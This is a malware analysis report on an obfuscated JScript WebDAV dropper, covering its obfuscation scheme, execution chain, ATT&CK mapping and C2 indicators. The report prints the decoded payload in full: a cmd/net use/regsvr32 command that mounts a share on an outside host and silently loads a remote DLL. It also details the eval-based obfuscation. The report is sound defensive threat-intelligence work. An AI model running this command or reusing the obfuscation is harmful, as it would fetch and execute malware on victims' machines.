25b576b755738447b7904ca25d337a9cdfd299e8cfa6f3316d03da55a56cff1b25b576b7… — Unclassified JS WebDAV Dropper
| SHA-256 | 25b576b755738447b7904ca25d337a9cdfd299e8cfa6f3316d03da55a56cff1b |
|---|---|
| Filename | 2509126074683225040.js |
| Size | 11,656 bytes |
| File type | ASCII text, single line, no terminators ^[file.txt] |
| Family | unclassified-js-webdav-dropper — 103rd confirmed sibling |
1. Build / RE
Obfuscation
JScript 52-entry direct-variable character-map obfuscation: 52 unique noise variable names (8–12 lowercase chars) are each assigned a single ASCII character once, then concatenated directly inside this[EXPR1](EXPR2) to dispatch eval(payload) ^[strings.txt:1].
Key structural deviations from prior siblings:
- No dictionary object — unlike the 36/62/100-entry variants that build
var obj = this[noise+noise]()and then callobj[key](...), this sample drops the object entirely and assemblesevaland the payload string from raw variable concatenation. - No reassignment — each of the 52 variables is assigned exactly once; this is not the sequential-reassignment dialect (cf.
fd437971,8a490922) ^[/intel/analyses/8a490922cf5fe7a2f4a5b84942188d8fe2d4e2aa365dc56e63249ce2bcff82e3.html]. - Function wrapper —
meswk()encapsulates the eval dispatch; name is random noise.
Decoded payload
After resolving the 52 character mappings, the outer expression becomes:
this["eval"]("cmd /c cmd /c net use \\\\193.143.1.231@8888\\davwwwroot\\ && cmd /c regsvr32 /s \\\\193.143.1.231@8888\\davwwwroot\\22691225064688.dll")
Which evaluates to a WScript.Shell.Run(cmd, 0, false) call ^[strings.txt:1].
Toolchain
Pure JScript / Windows Script Host. No packer, no .NET, no native binary. Built by hand — the 11 KB source is all overhead for 52 single-character assignments and one concatenation expression.
Anti-analysis
- No sandbox gate — no
WScript.Sleep,GetLocale, or file-system checks. - No decoy process — no
wordpad,notepad, orcalclaunched. - No PowerShell wrapper — direct
cmd /cexecution viaWScript.Shell.Run(). - Single-line, no terminators — complicates line-oriented diffing and version-control analysis ^[file.txt].
2. Deploy / ATT&CK
TTPs
| Technique | ID | Evidence |
|---|---|---|
| Command Obfuscation | T1027 | 52-variable character-map obfuscation, single-line source |
| Windows Command Shell | T1059.003 | cmd /c spawned via WScript.Shell.Run |
| Ingress Tool Transfer | T1105 | DLL fetched over WebDAV (net use + regsvr32 /s) |
| System Binary Proxy Execution: Regsvr32 | T1218.010 | regsvr32 /s \\193.143.1.231@8888\davwwwroot\22691225064688.dll |
| Application Layer Protocol: Web Protocols | T1071.001 | WebDAV over HTTP (UNC path with @8888) |
Execution chain
- Victim opens
.js→wscript.exeexecutesmeswk(). this[concat](concat)resolves toeval(payload_string).- Payload string resolves to
WScript.Shell.Run("cmd /c ...", 0, false). cmd /c net use \\193.143.1.231@8888\davwwwroot\mounts the WebDAV share.regsvr32 /s \\193.143.1.231@8888\davwwwroot\22691225064688.dllsilently loads the remote DLL.
C2 / Infrastructure
| Indicator | Value |
|---|---|
| WebDAV C2 | 193.143.1.231:8888 |
| Payload filename | 22691225064688.dll |
| Execution style | regsvr32 /s (silent registration) |
| Window style | 0 (hidden) |
| Wait on return | false (fire-and-forget) |
This IP is already a known family endpoint — siblings fd437971 (67th), be448b37 (75th), e0e66a94 (82nd), and 8a490922 (98th) all targeted 193.143.1.231:8888 ^[/intel/analyses/8a490922cf5fe7a2f4a5b84942188d8fe2d4e2aa365dc56e63249ce2bcff82e3.html]. The new payload filename confirms active rotation, not infrastructure abandonment.
Attribution
- Family: unclassified-js-webdav-dropper — high confidence. Shared C2 IP, identical execution chain (
net use+regsvr32 /s), JScript dropper format, and absence of PowerShell wrapper are all family signatures. - Builder evolution: This sample represents a structural simplification — dropping the dictionary object entirely in favor of direct variable concatenation. Dictionary size (52) is the smallest observed in the family (previously 62 was the minimum for dictionary variants; 36-entry variants existed but used an object). This may indicate a new builder branch or a stripped-down template.
IOCs
193.143.1.231:8888
\\193.143.1.231@8888\davwwwroot\
22691225064688.dll
3. Sub-Variant Classification
52-entry-direct-variable-dictionary-no-object— 52 unique noise variables, single assignment each, directthis[eval](payload)dispatch, no dictionary object, no PowerShell wrapper, no decoy, no timeout gate. First observed variant to combine dictionary-sized character mapping with object-less dispatch.